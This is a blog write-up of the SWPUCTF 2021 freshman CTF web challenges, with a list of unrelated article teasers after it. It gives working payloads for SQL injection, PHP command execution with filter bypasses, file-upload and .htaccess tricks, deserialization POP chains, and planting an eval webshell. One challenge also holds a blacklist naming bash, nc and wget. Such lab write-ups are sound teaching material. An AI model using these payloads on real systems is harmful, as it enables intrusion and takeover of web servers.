SWPUCTF 2021 新生赛

news2024/11/18 12:36:57

😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。 

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

目录

gift_F12

jicao

easy_md5

caidao

include

easyrce

easy_sql

babyrce

Do_you_know_http

ez_unserialize

easyupload1.0

easyupload2.0

easyupload3.0

no_wakeup

PseudoProtocols

error

hardrce

pop

sql

finalrce

hardrce_3


很久不学习CTF,很多知识点有点淡忘;还有最后一个phar反序列化,不太会做。

gift_F12

先听听歌吧ovo 查看源代码:

jicao

<?php
  highlight_file('index.php');
	include("flag.php");
	$id=$_POST['id'];
	$json=json_decode($_GET['json'],true);
	if ($id=="wllmNB"&&$json['x']=="wllm")
		{echo $flag;}
?>

代码中需要通过POST方式传递参数id,并且通过GET方式传递json参数,然而这里的json_decode( )方法,其功能为对 JSON 格式的字符串进行解码,用法为:

json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )

参数说明:

$json:json格式的字符串

$assoc:

值为 true:表示返回数组形式的数据

值为 false:表示返回对象形式的数据

默认为false

$depth:指定递归深度

$option:JSON解码的掩码选项。现在有两个支持的选项。

第一个是 JSON_BIGINT_AS_STRING,用于将大整数转为字符串,而非默认的float类型。

第二个是JSON_OBJECT_AS_ARRAY, 与将assoc设置为 TRUE 有相同的效果。

因此传递通过POST传递参数id=wllmNB;通过GET方式传递json={"x":"wllm"}

easy_md5

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
	if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
	}
	else {
    echo 'wrong!';
}
?>

考察md5弱类型碰撞:

        弱类型比较的时候,会把0exxxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0

一些字符串md5值以0e开头

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

        数组绕过

md5()函数计算的是一个字符串的哈希值,对于数组则返回false

a[]=1&b[]=2

caidao

直接连蚁剑,翻目录,找flag;

include

传参数file之后,代码审计:

题目提示我们LFI,尝试使用php://filter伪协议读取文件的内容:

尝试使用base64解码,得到答案;

easyrce

<?php
	error_reporting(0);
	highlight_file(__FILE__);
	if(isset($_GET['url'])){
		eval($_GET['url']);
	}
?>

rce,直接命令执行即可,直接传url=system("cat / flllllaaaaaaggggggg");

easy_sql

随便传了一个参数a,但是没反应,看看源代码,发现了在源代码中,存在着提示“参数是wllm”

题目是SQL注入,先判断注入类型。

?wllm=-1' union select 1,database(),3--+

之后就是正常的SQL注入了;

?wllm=-1' union select 1,(select flag from test_tb),3--+

babyrce

 <?php
	error_reporting(0);
	header("Content-Type:text/html;charset=utf-8");
	highlight_file(__FILE__);
	if($_COOKIE['admin']==1) {
    include "../next.php";
	}else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

提示rasalghul.php,访问一下:

 <?php
	error_reporting(0);
	highlight_file(__FILE__);
	error_reporting(0);
	if (isset($_GET['url'])) {
  	$ip=$_GET['url'];
  	if(preg_match("/ /", $ip)){
      	die('nonono');
  	}
  	$a = shell_exec($ip);
  	echo $a;
}
?> 

正则过滤空格,命令执行,用${IFS}来绕过 (还可以通过%3c %09绕过)

ls${IFS}/

Do_you_know_http

通过Brup来改数据包信息:

继续改X-Forwarded-For

ez_unserialize

看看源代码先:

提示了,看看robots.txt:

访问这个php文件,出现反序列化的代码审计:

 <?php
	error_reporting(0);
	show_source("cl45s.php");	
	class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
    public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
       include("flag.php");
       echo $flag;
    }else{
       echo $this->admin;
       echo $this->passwd;
       echo "Just a bit more!";
        }
    }
}
$p = $_GET['p'];
unserialize($p);
?> 
<?php

class wllm{

     public $admin="admin";

    public $passwd="ctf";

}

$p = new wllm();

var_dump(serialize($p));

?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

easyupload1.0

文件上传:

尝试上传php文件,但是发现失败了,接着改后缀名为jpg,发现还是不行,发现MIME信息还是php的相关信息,尝试改为jpg的MIME头;依然保留php后缀名,发现上传成功:

之后连马,或者命令执行都可!

哎?发现不是正确答案,看看phpinfo(),才发现了正确答案;

easyupload2.0

继续先用上个payload继续打;

哦 不让上传php了,其他的后缀可以先试试;发现php3是不可以的,但是pht还是可以正常上传的!

easyupload3.0

提示使用.htaccess文件上传漏洞:

构造.htaccess文件:

<FilesMatch "jpg">

SetHandler application/x-httpd-php

</FilesMatch>

以上代码,表示将jpg文件解析为php文件;

直接上传该文件,之后上传一张jpg后缀的文件,文件内容就是一句话木马;

上传图片:

用蚁剑直接连接jpg文件;

no_wakeup

 <?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{
        public $admin;
        public $passwd;
        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }
        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }
        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?> 

绕过wakeup函数即可!

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

PseudoProtocols

题目提示使用php伪协议;

wllm=php://filter/convert.base64-encode/resource=hint.php

得到上述结果,使用base64解码;得到提示:

访问上述界面,得到:

<?php
	ini_set("max_execution_time", "180");
	show_source(__FILE__);
	include('flag.php');
	$a= $_GET["a"];
	if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
	}
?> 

大概就是GET方式传参a,a参数利用file_get_contents以只读的方式打开,打开后的内容与I want flag内容一致;

两种方法:

  • data://text/plain

data伪协议,此协议需要在allow_url_fopen和allow_url_include全部为ON的状态下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入;

用法:data://text/plain;base64,base64编码字符

payload为:a=data://text/plain,I want flag

  • php://input

php://input协议需要在allow_url_include为ON的状态下使用,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

使用方法:php://input,然后post需要执行的数据

我没打通,我不明白这是为什么....

error

输入id为1:

id为2:

id为1的时候,源代码中存在着提示,单引号闭合;结合题目提示报错注入:

爆表名:

最终爆flag(列名没写,都一样):

hardrce

首先是判断这个题目对应的PHP版本,发现是php7版本:

附上P神的博客:

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

详见无数字字母webshell总结;

pop

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中,清晰可见:w44m类中存在着一个方法GETflag方法,便可输出最终的flag。因此这也是我们的pop链的尾部;

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;

接下来思考,如何去调用w44m类中的Getflag方法呢?我们会发现在w33m类中存在tostring方法,可以调用某一个类中的某一个方法。因此我们可以w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;那么接下来就是去思考怎么去调用w33m类呢?destruct会在对象被销毁时调用,因此只要给w22m类中的w00m变量一个类w33m就可以实现调用;

因此最终的pop链如下:

<?php
class w44m{
    private $admin = 'w00m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m = new w44m();
$a->w00m->w22m = "Getflag";
echo urlencode(serialize($a));
?>

sql

随便输入了id=1,但是还是上述界面,看一下源代码:发现参数为wllm;

注入过程中发现“--+”以及空格被绕过,注释的话使用#编码绕过即可,空格的话用/**/来绕过。

接下来就是爆数据库名,表名、列明以及最终的数据;

爆出数据库名之后,在查询表名的时候,发现=也被过滤了,可以用like来代替;

在获取最终的数据的时候,发现被截断了:

但是使用substr()函数的时候,发现该函数还被过滤了。还可以用mid函数:

最终可以得到flag

finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

该题目利用了写文件的方法;但是题目中过滤了“>”符号,涉及到知识盲区了,还可以用tee命令:

tee命令用于将标准输入复制到每个指定文件,并显示到标准输出。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

payload:url=l``s / | tee a.txt

发现两个flag可疑的地方;看到题目中过滤la,尝试访问/flllllaaaaaaggggggg,“*”号被过滤,还可以用“?”

?url=ca``t /flllll????????????? | tee a.txt

成功访问到flag;

hardrce_3

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 

不能用异或和取反了,还可以用自增:

<?php

$_=''.[];
$__=$_[$___];
$_=$__;
$___=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____='_';
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;$_++;$____.=$_;
$_=$$____;
$___($_[_]);

但是不能执行system();发现phpinfo中的disabled_function过滤了很多函数:

命令执行函数不能用了;没有过滤file_put_contents(),写马再连;

_=file_put_contents('1.php','<?php eval($_POST[x]);?>');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/107236.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kotlin + Jpa + Querydsl

Kotlin Jpa Querydsl 本篇主要介绍一下 kotlin jpa querydsl . jpa querydsl 是我很喜欢的一种搭配,它能够让你写sql语句一样的去写代码 , 以前我也写过关于 java版本的, 本篇就来看看kotlin中如何去使用 1.引入插件 主要引入jpa插件 和 kapt Kotlin annotation processi…

【剧前爆米花--爪哇岛寻宝】Cloneable接口和深浅拷贝

作者&#xff1a;困了电视剧 专栏&#xff1a;《JavaSE语法与底层详解》 文章分布&#xff1a;这是一篇关于接口的文章&#xff0c;在本篇文章中我会分享Cloneable接口的用法和机制&#xff0c;同时从底层分析深拷贝和浅拷贝的区别。 Cloneable接口 Cloneable这类接口可以说是…

ZigBee硬件平台小记(CC2530)

文章目录1.CC2530射频模块特征2.CC2530射频模块主要技术指标3.调试器输出接口特点输出引脚排列1.CC2530射频模块特征 基于CC2530F256单芯片ZigBee SOC&#xff08;System On Chip&#xff09;&#xff0c;集成8051内核模块尺寸&#xff1a;36mm x 26mmSMA底座&#xff0c;外接…

代码随想录训练营第56天|LeetCode 647. 回文子串、516.最长回文子序列

参考 代码随想录 题目一&#xff1a;LeetCode 647. 回文子串 如果用暴力求解&#xff0c;两层for循环加一层判断&#xff0c;两个遍历指针i和j构成一个区间&#xff0c;每次判断这个区间内的字符串是否为回文串&#xff0c;这样的求法时间复杂度为O(n^3)。这里使用动态规划可…

Jetpack Compose中的手势操作

点击事件 监听点击事件非常简单&#xff0c;使用 clickable 和 combinedClickable 修饰符即可满足需求&#xff1a; OptIn(ExperimentalFoundationApi::class) Composable fun ClickableExample() {Column{Box(Modifier.clickable { println("clickable") }.size(3…

异常检测原理及其在计算机视觉中的应用

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶”重磅干货&#xff0c;第一时间送达这篇文章涵盖了三件事&#xff0c;首先什么是视觉角度的异常检测&#xff1f;用于异常检测的技术有哪些&#xff1f;它在哪里使用&#xff1f;异常检测是什么&#xff1f;…

微服务架构下的配置治理模式

微服务被滥用是不争的事实。被滥用的同时&#xff0c;很少人留意到它所带来的配置治理的问题。本文我们介绍两种常见的治理模式。基于common的配置治理模式当微服务数量多时&#xff0c;开发人员倾向于创建这样的配置文件&#xff1a;common-redis.jsoncommon-mysql.jsoncommon…

〖产品思维训练白宝书 - 产品思维认知篇③〗- 产品思维 VS 技术思维

大家好&#xff0c;我是 哈士奇 &#xff0c;一位工作了十年的"技术混子"&#xff0c; 致力于为开发者赋能的UP主, 目前正在运营着 TFS_CLUB社区。 &#x1f4ac; 人生格言&#xff1a;优于别人,并不高贵,真正的高贵应该是优于过去的自己。&#x1f4ac; &#x1f4e…

【Numpy基础知识】Broadcasting广播

Numpy广播 来源&#xff1a;Numpy官网&#xff1a;https://numpy.org/doc/stable/user/basics.html 广播描述了 NumPy 在算术运算期间如何处理具有不同形状的数组。根据某些约束&#xff0c;较小的数组将“广播”到较大的阵列&#xff0c;以便它们具有兼容的形状。 导包 impo…

【Python机器学习】条件随机场模型CRF及在中文分词中实战(附源码和数据集)

需要源码请点赞关注收藏后评论区留言私信~~~ 基本思想 假如有另一个标注序列&#xff08;代词 动词 名词 动词 动词&#xff09;&#xff0c;如何来评价哪个序列更合理呢&#xff1f; 条件随机场的做法是给两个序列“打分”&#xff0c;得分高的序列被认为是更合理的。既然要…

移动设备软件开发-Shape详解

Spape详解 1.自定义背景shape 1.1gradient 1.简介 定义渐变色&#xff0c;可以定义两色渐变和三色渐变&#xff0c;及渐变样式&#xff0c;它的属性有下面几个2.属性 angle&#xff0c;只对线性渐变是有效的放射性渐变必须指定放射性的半径&#xff0c;gradientRadiouscentetX和…

STM32的ST-link调试下载,各种调试接口硬件介绍

调试原理 STM32F-10X使用M3内核&#xff0c;该内核支持复杂的同i傲视操作&#xff0c;硬件调试模块允许在取指令&#xff08;指令单步运行&#xff09;或访问数据&#xff08;数据断电时&#xff09;使得内核停止。在内核停止时&#xff0c;内核状态都可被查询&#xff0c;完成…

JS基于编码方式实现加密解密文本

JS基于编码方式实现加密解密文本 严格来讲这是一种简单的编码方式&#xff1a;加密&#xff0c;将明文【注】转成编码。解密则是编码转码为明文本。 【注&#xff1a;明文是指没有加密的文字(或者字符串)&#xff0c;一般人都能看懂。】 下面源码用到 这个fromCharCode() 方…

年底了,感谢大家2022年的支持,虚竹哥送10本JAVA好书

❤️作者主页&#xff1a;小虚竹 ❤️作者简介&#xff1a;大家好,我是小虚竹。Java领域优质创作者&#x1f3c6;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;掘金年度人气作者&#x1f3c6;&#xff0c;阿里云专家博主&#x1f3…

碧兴物联IPO过会:拟募资4亿 预计年净利降幅超10%

雷递网 雷建平 12月21日碧兴物联科技&#xff08;深圳&#xff09;股份有限公司&#xff08;简称&#xff1a;“碧兴物联”&#xff09;日前IPO过会&#xff0c;准备在科创板上市。碧兴物联计划募资4.13亿元。其中&#xff0c;1.92亿元用于智慧生态环境大数据服务项目&#xff…

【MySQL】JDBC编程重点知识汇总

文章目录1. JDBC (API):2. JDBC代码编写:2.1 创建数据源对象:2.2 建立连接:2.3 构造SQL语句:2.4 执行SQL:2.5 释放资源:1. JDBC (API): 前面学过很多的SQL, 实际开发中大多数的SQL都不是手敲的, 都是通过程序来执行的. 各种的数据库都会提供API方便编程语言来控制; API (Appli…

【JavaEE】网络初识

初识网络协议 OSI七层和TCP/IP五层&#xff08;四层&#xff09; 应用层 应用程序 代码实现 传输层 端到端传输 &#xff08;如玩家对玩家&#xff09; 操作系统内核实现 网络层 点到点传输 操作系统内核实现 数据链路层 相邻节点之间的传输 &#xff08;如集散点…

ChatGPT能接入微信了

前两天还看到不少人讨论&#xff0c;要是ChatGPT接入微信是啥感觉&#xff1f; 这不&#xff0c;想你所想&#xff0c;项目已经来了~ 来看效果&#xff0c;ChatGPT就出现在普通的微信对话框里&#xff0c;有问必答&#xff1a; 甚至还能拉入群聊&#xff0c;大家共用&#xf…

Adobe Premiere Pro 2020 系统兼容性报告:不支持的视频驱动程序

Adobe Premiere Pro 2020 系统兼容性报告&#xff1a;不支持的视频驱动程序 1. 问题 打开Adobe Premiere Pro 2020&#xff0c;看见系统兼容性报告&#xff1a;不支持的视频驱动程序。如下图&#xff1a; 点击修复&#xff0c;进入安装 Intel 图形驱动程序教程页面&#xff0…

DQL查询数据

文章目录DQL指定查询字段where条件子句联表查询分页和排序子查询DQL &#xff08;Data Query Language&#xff1a;数据查询语言&#xff09; 所有的查询操作都要用到它 select简单的查询&#xff0c;复杂的查询都要用到它数据库最核心的语言&#xff0c;最重要的语言使用频率…